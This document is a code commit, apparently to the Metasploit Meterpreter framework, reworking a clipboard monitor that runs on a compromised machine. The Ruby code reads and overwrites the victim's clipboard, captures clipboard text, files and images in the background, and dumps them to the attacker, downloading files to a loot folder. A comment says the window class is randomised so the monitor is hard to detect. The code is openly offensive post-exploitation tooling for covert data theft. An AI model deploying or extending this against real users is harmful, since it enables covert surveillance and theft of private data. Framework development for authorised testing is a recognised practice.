More work on the clipboard monitor
parent
a7d4aa5d46
commit
83358fbbf0
|
@ -22,8 +22,6 @@ class Clipboard
|
|||
# Get the target clipboard data in whichever format we can
|
||||
# (if it's supported).
|
||||
def get_data(download = false)
|
||||
results = []
|
||||
|
||||
request = Packet.create_request('extapi_clipboard_get_data')
|
||||
|
||||
if download
|
||||
|
@ -32,42 +30,7 @@ class Clipboard
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
|
||||
|
||||
if text
|
||||
results << {
|
||||
:type => :text,
|
||||
:data => text
|
||||
}
|
||||
end
|
||||
|
||||
files = []
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
|
||||
files << {
|
||||
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
|
||||
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
|
||||
}
|
||||
}
|
||||
|
||||
if files.length > 0
|
||||
results << {
|
||||
:type => :files,
|
||||
:data => files
|
||||
}
|
||||
end
|
||||
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
|
||||
if jpg
|
||||
results << {
|
||||
:type => :jpg,
|
||||
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
|
||||
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
|
||||
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
return parse_dump(response)
|
||||
end
|
||||
|
||||
# Set the target clipboard data to a text value
|
||||
|
@ -82,11 +45,9 @@ class Clipboard
|
|||
end
|
||||
|
||||
def monitor_start(opts)
|
||||
# TODO: add some smarts, a separate thread, etc to download the content
|
||||
request = Packet.create_request('extapi_clipboard_monitor_start')
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES, opts[:files])
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES, opts[:images])
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, opts[:cap_img])
|
||||
return client.send_request(request)
|
||||
end
|
||||
|
||||
|
@ -95,18 +56,100 @@ class Clipboard
|
|||
return client.send_request(request)
|
||||
end
|
||||
|
||||
def monitor_dump(opts)
|
||||
pull_img = opts[:include_images]
|
||||
purge = opts[:purge]
|
||||
|
||||
request = Packet.create_request('extapi_clipboard_monitor_dump')
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img)
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
return parse_dump(response)
|
||||
end
|
||||
|
||||
def monitor_resume
|
||||
request = Packet.create_request('extapi_clipboard_monitor_resume')
|
||||
return client.send_request(request)
|
||||
end
|
||||
|
||||
def monitor_stop
|
||||
def monitor_stop(opts)
|
||||
dump = opts[:dump]
|
||||
pull_img = opts[:include_images]
|
||||
|
||||
request = Packet.create_request('extapi_clipboard_monitor_stop')
|
||||
return client.send_request(request)
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
|
||||
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA, pull_img)
|
||||
|
||||
response = client.send_request(request)
|
||||
unless dump
|
||||
return response
|
||||
end
|
||||
|
||||
return parse_dump(response)
|
||||
end
|
||||
|
||||
attr_accessor :client
|
||||
|
||||
private
|
||||
|
||||
def parse_dump(response)
|
||||
results = []
|
||||
|
||||
texts = []
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
|
||||
texts << {
|
||||
:ts => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP),
|
||||
:text => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
|
||||
}
|
||||
end
|
||||
|
||||
if texts.length > 0
|
||||
results << {
|
||||
:type => :text,
|
||||
:data => texts
|
||||
}
|
||||
end
|
||||
|
||||
files = []
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
|
||||
files << {
|
||||
:ts => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP),
|
||||
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
|
||||
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
|
||||
}
|
||||
end
|
||||
|
||||
if files.length > 0
|
||||
results << {
|
||||
:type => :files,
|
||||
:data => files
|
||||
}
|
||||
end
|
||||
|
||||
images = []
|
||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
|
||||
if jpg
|
||||
images << {
|
||||
:ts => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP),
|
||||
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
|
||||
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
|
||||
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
if images.length > 0
|
||||
results << {
|
||||
:type => :jpg,
|
||||
:data => images
|
||||
}
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end
|
||||
|
|
|
@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E
|
|||
|
||||
TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
|
||||
|
@ -40,9 +44,10 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E
|
|||
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 49)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -21,9 +21,13 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
#
|
||||
def commands
|
||||
{
|
||||
"clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
|
||||
"clipboard_set_text" => "Write text to the victim's clipboard",
|
||||
"clipboard_monitor" => "Interact with the clipboard monitor"
|
||||
"clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
|
||||
"clipboard_set_text" => "Write text to the victim's clipboard",
|
||||
"clipboard_monitor_start" => "Start the clipboard monitor",
|
||||
"clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)",
|
||||
"clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)",
|
||||
"clipboard_monitor_dump" => "Dump all captured content",
|
||||
"clipboard_monitor_stop" => "Stop the clipboard monitor"
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -67,79 +71,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
end
|
||||
}
|
||||
|
||||
loot_dir = download_path || "."
|
||||
if not ::File.directory?( loot_dir )
|
||||
::FileUtils.mkdir_p( loot_dir )
|
||||
end
|
||||
dump = client.extapi.clipboard.get_data(download_content)
|
||||
|
||||
# currently we only support text values
|
||||
results = client.extapi.clipboard.get_data(download_content)
|
||||
|
||||
if results.length == 0
|
||||
if dump.length == 0
|
||||
print_error( "The current Clipboard data format is not supported." )
|
||||
return false
|
||||
end
|
||||
|
||||
results.each { |r|
|
||||
case r[:type]
|
||||
when :text
|
||||
print_line
|
||||
print_line( "Current Clipboard Text" )
|
||||
print_line( "======================" )
|
||||
print_line
|
||||
print_line( r[:data] )
|
||||
|
||||
when :jpg
|
||||
print_line
|
||||
print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" )
|
||||
|
||||
if download_content
|
||||
file = Rex::Text.rand_text_alpha(8) + ".jpg"
|
||||
path = File.join( loot_dir, file )
|
||||
path = ::File.expand_path( path )
|
||||
::File.open( path, 'wb' ) do |f|
|
||||
f.write r[:data]
|
||||
end
|
||||
print_good( "Clipboard image saved to #{path}" )
|
||||
else
|
||||
print_line( "Re-run with -d to download image." )
|
||||
end
|
||||
|
||||
when :files
|
||||
if download_content
|
||||
loot_dir = ::File.expand_path( loot_dir )
|
||||
print_line
|
||||
print_status( "Downloading Clipboard Files ..." )
|
||||
r[:data].each { |f|
|
||||
download_file( loot_dir, f[:name] )
|
||||
}
|
||||
print_good( "Downloaded #{r[:data].length} file(s)." )
|
||||
print_line
|
||||
else
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Current Clipboard Files',
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => [
|
||||
'File Path', 'Size (bytes)'
|
||||
]
|
||||
)
|
||||
|
||||
total = 0
|
||||
r[:data].each { |f|
|
||||
table << [f[:name], f[:size]]
|
||||
total += f[:size]
|
||||
}
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
|
||||
print_line( "#{r[:data].length} file(s) totalling #{total} bytes" )
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
}
|
||||
parse_dump(dump, download_content, download_content, download_path)
|
||||
return true
|
||||
end
|
||||
|
||||
|
@ -169,84 +108,114 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
return true
|
||||
end
|
||||
}
|
||||
|
||||
return client.extapi.clipboard.set_text(args.join(" "))
|
||||
return client.extapi.clipboard.set_text(args.join(" "))
|
||||
end
|
||||
|
||||
#
|
||||
# Options for the clipboard_get_data command.
|
||||
# Options for the clipboard_monitor_start command.
|
||||
#
|
||||
@@monitor_opts = Rex::Parser::Arguments.new(
|
||||
@@monitor_start_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-i" => [ false, "Automatically download image content" ],
|
||||
"-f" => [ false, "Automatically download files" ],
|
||||
"-l" => [ true, "Specifies the folder to write the clipboard loot to" ]
|
||||
"-i" => [ true, "Capture image content when monitoring (default: true)" ]
|
||||
)
|
||||
|
||||
def print_clipboard_monitor_usage()
|
||||
#
|
||||
# Help for the clipboard_monitor_start command.
|
||||
#
|
||||
def print_clipboard_monitor_start_usage()
|
||||
print(
|
||||
"\nUsage: clipboard_monitor <start|pause|resume|stop> [-f] [-i] [-h]\n\n" +
|
||||
"Starts or stops a background clipboard monitoring thread. The thread watches\n" +
|
||||
"\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
|
||||
"Starts a background clipboard monitoring thread. The thread watches\n" +
|
||||
"the clipboard on the target, under the context of the current desktop, and when\n" +
|
||||
"changes are detected the contents of the clipboard are returned to the attacker.\n\n" +
|
||||
" - start - starts the clipboard monitor with the given arguments if\n" +
|
||||
" the thread is not already running.\n" +
|
||||
" - pause - pauses a currently running clipboard monitor thread.\n" +
|
||||
" - resume - resumes a currently paused clipboard monitor thread.\n" +
|
||||
" - stop - stops a currently running or paused clipboard monitor thread.\n" +
|
||||
@@monitor_opts.usage + "\n")
|
||||
"changes are detected the contents of the clipboard are captured. Contents can be\n" +
|
||||
"dumped periodically. Image content can be captured as well (and will be by default)\n" +
|
||||
"however this can consume quite a bit of memory.\n\n" +
|
||||
@@monitor_start_opts.usage + "\n")
|
||||
end
|
||||
|
||||
def cmd_clipboard_monitor(*args)
|
||||
args.unshift "-h" if args.length == 0
|
||||
download_files = false
|
||||
download_images = false
|
||||
loot_dir = nil
|
||||
#
|
||||
# Start the clipboard monitor.
|
||||
#
|
||||
def cmd_clipboard_monitor_start(*args)
|
||||
capture_images = true
|
||||
|
||||
@@set_text_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-f"
|
||||
download_files = true
|
||||
when "-i"
|
||||
download_images = true
|
||||
when "-l"
|
||||
loot_dir = val
|
||||
# default this to true
|
||||
capture_images = val.downcase != 'false'
|
||||
when "-h"
|
||||
print_clipboard_monitor_usage
|
||||
print_clipboard_monitor_start_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
case args.shift
|
||||
when "start"
|
||||
loot_dir = generate_loot_dir(true) unless loot_dir
|
||||
print_status("Clipboard monitor looting to #{loot_dir} ...")
|
||||
print_status("Download files? #{download_files ? "Yes" : "No"}")
|
||||
print_status("Download images? #{download_images ? "Yes" : "No"}")
|
||||
|
||||
client.extapi.clipboard.monitor_start({
|
||||
# random class and window name so that it isn't easy
|
||||
# to track via a script
|
||||
:wincls => Rex::Text.rand_text_alpha(8),
|
||||
:loot => loot_dir,
|
||||
:files => download_files,
|
||||
:iamges => download_images
|
||||
})
|
||||
print_good("Clipboard monitor started")
|
||||
when "pause"
|
||||
client.extapi.clipboard.monitor_pause
|
||||
print_good("Clipboard monitor paused")
|
||||
when "resume"
|
||||
client.extapi.clipboard.monitor_resume
|
||||
print_good("Clipboard monitor resumed")
|
||||
when "stop"
|
||||
client.extapi.clipboard.monitor_stop
|
||||
print_good("Clipboard monitor stopped")
|
||||
end
|
||||
client.extapi.clipboard.monitor_start({
|
||||
# random class and window name so that it isn't easy
|
||||
# to track via a script
|
||||
:wincls => Rex::Text.rand_text_alpha(8),
|
||||
:cap_img => capture_images
|
||||
})
|
||||
|
||||
print_good("Clipboard monitor started")
|
||||
end
|
||||
|
||||
protected
|
||||
#
|
||||
# Options for the clipboard_monitor_stop command.
|
||||
#
|
||||
@@monitor_stop_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ],
|
||||
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
|
||||
"-d" => [ true, "Download non-text content to the specified folder (or current folder)" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Help for the clipboard_monitor_stop command.
|
||||
#
|
||||
def print_clipboard_monitor_stop_usage()
|
||||
print(
|
||||
"\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
|
||||
"Stops a clipboard monitor thread and returns the captured data to the attacker.\n\n" +
|
||||
@@monitor_stop_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the clipboard monitor.
|
||||
#
|
||||
def cmd_clipboard_monitor_stop(*args)
|
||||
dump_data = true
|
||||
download_images = true
|
||||
download_files = true
|
||||
download_path = nil
|
||||
|
||||
@@set_text_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-d"
|
||||
download_path = val
|
||||
when "-x"
|
||||
dump_data = val.downcase != 'false'
|
||||
when "-i"
|
||||
download_images = val.downcase != 'false'
|
||||
when "-f"
|
||||
download_files = val.downcase != 'false'
|
||||
when "-h"
|
||||
print_clipboard_monitor_stop_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
dump = client.extapi.clipboard.monitor_stop({
|
||||
:dump => dump_data,
|
||||
:include_images => download_images
|
||||
})
|
||||
|
||||
parse_dump(dump, download_images, download_files, download_path) if dump_data
|
||||
|
||||
print_good("Clipboard monitor stopped")
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def download_file( dest_folder, source )
|
||||
stat = client.fs.file.stat( source )
|
||||
|
@ -266,6 +235,101 @@ protected
|
|||
end
|
||||
end
|
||||
|
||||
def parse_dump(dump, get_images, get_files, download_path)
|
||||
loot_dir = download_path || "."
|
||||
if not ::File.directory?( loot_dir )
|
||||
::FileUtils.mkdir_p( loot_dir )
|
||||
end
|
||||
|
||||
dump.each do |r|
|
||||
case r[:type]
|
||||
when :text
|
||||
print_line
|
||||
|
||||
r[:data].each do |x|
|
||||
title = "Text captured at #{x[:ts]}"
|
||||
under = "-" * title.length
|
||||
print_line(title)
|
||||
print_line(under)
|
||||
print_line(x[:text])
|
||||
print_line(under)
|
||||
print_line
|
||||
end
|
||||
|
||||
when :jpg
|
||||
print_line
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Clipboard Images',
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => [
|
||||
'Time Captured', 'Width', 'Height'
|
||||
]
|
||||
)
|
||||
|
||||
r[:data].each do |x|
|
||||
table << [x[:ts], x[:width], x[:height]]
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
|
||||
if get_images
|
||||
print_line
|
||||
print_status( "Downloading Clipboard Images ..." )
|
||||
r[:data].each do |j|
|
||||
file = "#{j[:ts].gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
|
||||
path = File.join( loot_dir, file )
|
||||
path = ::File.expand_path( path )
|
||||
::File.open( path, 'wb' ) do |x|
|
||||
x.write j[:data]
|
||||
end
|
||||
print_good( "Clipboard image #{j[:width]}x#{j[:height]} saved to #{path}" )
|
||||
end
|
||||
else
|
||||
print_line( "Re-run with -d to download image(s)." )
|
||||
end
|
||||
print_line
|
||||
|
||||
when :files
|
||||
print_line
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Clipboard Files',
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => [
|
||||
'Time Captured', 'File Path', 'Size (bytes)'
|
||||
]
|
||||
)
|
||||
|
||||
total = 0
|
||||
r[:data].each do |x|
|
||||
table << [x[:ts], x[:name], x[:size]]
|
||||
total += x[:size]
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
|
||||
print_line( "#{r[:data].length} file(s) totalling #{total} bytes" )
|
||||
|
||||
if get_files
|
||||
loot_dir = ::File.expand_path( loot_dir )
|
||||
print_line
|
||||
print_status( "Downloading Clipboard Files ..." )
|
||||
r[:data].each do |f|
|
||||
download_file( loot_dir, f[:name] )
|
||||
end
|
||||
print_good( "Downloaded #{r[:data].length} file(s)." )
|
||||
else
|
||||
print_line( "Re-run with -d to download file(s)." )
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue